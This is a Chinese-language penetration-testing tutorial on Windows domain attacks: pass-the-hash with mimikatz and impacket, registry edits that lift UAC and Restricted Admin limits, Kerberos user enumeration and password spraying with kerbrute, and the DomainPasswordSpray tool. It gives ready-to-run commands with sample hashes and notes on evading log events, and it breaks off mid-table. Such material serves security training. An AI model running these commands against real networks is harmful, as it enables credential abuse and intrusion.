1.pth(hash传递)
1.1 PTH简介
哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密hash值来获取明文密码,因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击,攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
1.2 PTH限制
在03之后有了uac,所以本地只有sid 为500和administrators 组里的域账户能pth。域Domain admin默认在本地管理员组。但是sid 500账户的权限好像会受到限制。当uac某设置为1时,本地管理组内的用户都可以pth,域不变。
修改注册表 改为1
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
1.3 PTH常用攻击方法
1.3.1 mimikatz 交互式获取
这种方法需要本地管理员权限
privilege::debug
sekurlsa::pth /user:DD /domain:. /ntlm:35c83173a6fb6d142b0359381d5cc84c
1.3.2 psexec
在这里推荐使用impacket套装,有exe和py版本。获取的是system权限
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98depython psexec.py administrator@10.73.147.29 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
1.3.3 wmiexec
获取的是对方hash的权限,如下面为administrator
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.20.3
1.4批量PTH攻击
使用CrackMapExec来进行
https://www.freebuf.com/sectool/184573.html
1.5 一些注意事项
当我们机器处于域环境中时,如果客户端是以IP地址访问服务端的,那么此使仍旧会使用NTLM协议进行身份认证,PTH攻击不管是NTLM认证还是Kerberos认证都是存在的!
KB2871997补丁与PTH攻击
PTH无法使用sid 500以外的用户登录,是因为打了KB22871997补丁所导致的,安装KB2871997前后的对比发现并没有任何区别。而之前非administrator的本地管理员Pass The Hash失败被一些观点认为KB2871997的作用,但这实际上因为远程访问和UAC的限制!
远程访问和UAC
UAC是window Vista的新安全组件,2003版本是没有的。所以2003管理组内的用户还是可以网络登录的,而03之后的win7 win8 win10 2008 2012 2012R2 2016 2019 本地都是只能sid为500的允许网络远程访问!
根据微软官方关于远程访问和用户账户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的账户,会在网络上进行限制。
在使用本地用户进行远程登录时不会使用完全管理员权限,但是在域用户被加入到本地管理组员组后,域用户可以使用完全管理员的AccessToken运行。并且UAC不会生效,简而言之就是除了sid 500的用户之外可以PTH登录之外就是加入本地管理员组的域用户!
KB2871997 此补丁具体更改点如下:
1.支持“ProtectedUsers”组
2.Restricted Admin RDP模式的远程桌面客户端支持
3.注销后删除LSASS中的凭据
4.添加两个新的SID
5.LSASS中删除明文凭证
6.支持“ProtectedUsers”组
"ProtectedUsers"组是WindowsServer 2012 R2域中的安全组,"ProtectedUsers"组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密!想要使用mimikatz抓取这个组的hash,需要使用sekurlsa:ekeys
Restricted Admin RDP模式的远程桌面客户端支持
注销后删除LSASS中的凭据,在这个更新之前,08什么的只要登陆过lsass内存中就会缓存明文密码、登陆凭证等。但是在打了补丁或者2012 win8 这种机器上只要用户注销就都没了。
LSASS中删除明文凭证这里涉及到了Wdigest SSP,在此补丁出世之前。lsass中由各种SSP保存明文密码!但是在补丁出现之后,就只有Wdigest SSP能保存密码了。
修改的Wdigest SSP的注册表,在这里还可以插入其他的SSP去记录明文
1.6 Pass the Hash with Remote Desktop
1.6.1 前言
在一般的渗透测试中,当我们拿到了某个用户的NTLM Hash的时候。我们一般就直接去PTH了,但是除了PTH还有另外一种额外的方法能够让我们PTH登录对方机器的3389服务,但是此条件有些苛刻!
1.6.2 简介
本文主要介绍以下内容:
Restricted Admin mode介绍
Pass the Hash with Remote Desktop的适用条件
Pass the Hash with Remote Desktop的实现方法
1.6.2.1 Restricted Admin mode介绍
官方说明:
https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/
适用系统:
高版本只支持 Windows 8.1和Windows Server 2012 R2
低版本需要打补丁 Windows 7 和Windows Server 2008 R2 默认不支持,需要安装补丁2871997、2973351
在这里形成这个漏洞的主要原因还是因为微软为了避免PTH攻击,开发了2871997补丁导致的!win8 2012 默认包含了这个补丁,所以不需要额外安装。而以前的版本则需要安装下补丁!
1.6.3 Pass the Hash with Remote Desktop的实现方法
(1)使用客户端命令登录
需要有两个必要的元素!首先是受害者机器需要开启注册表某一项,另一点是攻击机需要使用利用PTH登录的工具!
开启注册表
使用命令开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
攻击机登录
使用客户端命令行登录
sekurlsa::pth /user:administrator /domain:. /ntlm:08eb9761caca8f3c386962b5ad4b1991 "/run:mstsc.exe /restrictedadmin"
//pass:如果单独使用mstsc.exe,好像无法指定具体哪个hash登录!
1.如果当前系统不支持Restricted Admin mode,执行后弹出远程桌面的参数说明
2.如果系统支持Restricted Admin mode,执行后弹出登录桌面界面
(2) 使用FreeRDP工具来使用
他的旧版本支持pth登陆方式,下载链接:
https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz
PTH登录3389无法缓存Hash,mimikatz无法从内存中抓取
2.用户枚举
2.1 原理分析
在域外也能和域进行交互的原因,是利用了kerberos协议认证中的AS-REQ阶段。只要我们能够访问域控88(kerberos服务)端口,就可以通过这种方式去枚举用户名并且进行kerberos协议的暴力破解了!
2.2 攻击优势
相比于LDAP的暴力破解,这里Kerbrute使用的是kerberos pre-auth协议,不会产生大量的日志 (4625 - An account failed to log on)
但是会产生以下日志:
口令验证成功时产生日志 (4768 - A Kerberos authentication ticket (TGT) was requested)
口令验证失败时产生日志 (4771 - Kerberos pre-authentication failed)
2.3 攻击方法
2.3.1 kerbrute_windows_amd64.exe
下载地址:
https://github.com/ropnop/kerbrute/releases
需要获取dc的ip,域名。将想要爆破的用户放入user.txt表中,这样就可以获取
kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hacke.testlab user.txt
获取到用户名后,可以将它用来爆破
kerbrute_windows_amd64.exe passwordspray -d hacke.testlab user.txt QWE123!@#
2.3.2 PY版本 pyKerbrute
下载链接
https://github.com/3gstudent/pyKerbrute
此工具分为用户枚举和口令验证两个功能。
2.3.2.1 EnumADUser.py
进行用户枚举,支持TCP和UDP协议。
命令实例:
python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
python2 EnumADUser.py 192.168.60.1 test.com user.txt udp
2.3.2.2 ADPwdSpray.py
这个脚本进行口令破解功能,支持TCP和UDP协议,支持明文口令和NTLM hash
使用明文密码:
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt clearpassword QWE123!@# tcp
使用hash:
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp
3.密码喷洒攻击(Password Spraying)
3.1 前言
关于密码喷洒,笔者一开始的感觉应该是系统默认开启了次数。但是后来发现这个策略问题需要我们设置才会开启。net accounts /domain 所设置的策略问题,实验环境12默认没有阈值,导致爆破一直不被锁定。
3.2 工具介绍
DomainPasswordSpray.ps1是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。
需要使用域权限账户
下载链接:
GitHub项目地址:
https://github.com/dafthack/DomainPasswordSpray
在这里作者进行了脚本修改
优化后的地址:
http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
3.2.1 参数说明
描述:该模块主要用于从域中收集用户列表
参数 | 功能 |
Domain |
指定要测试的域名 |
RemoveDisabled |
尝试从用户列表删除禁用的账户 |
RemovePotentialLockouts | 删除锁定账户 |
UserList | 自定义用户列表(字典)。如果未指定,将从域中获取 |
Password | 指定单个密码进行口令测试 |
PasswordList |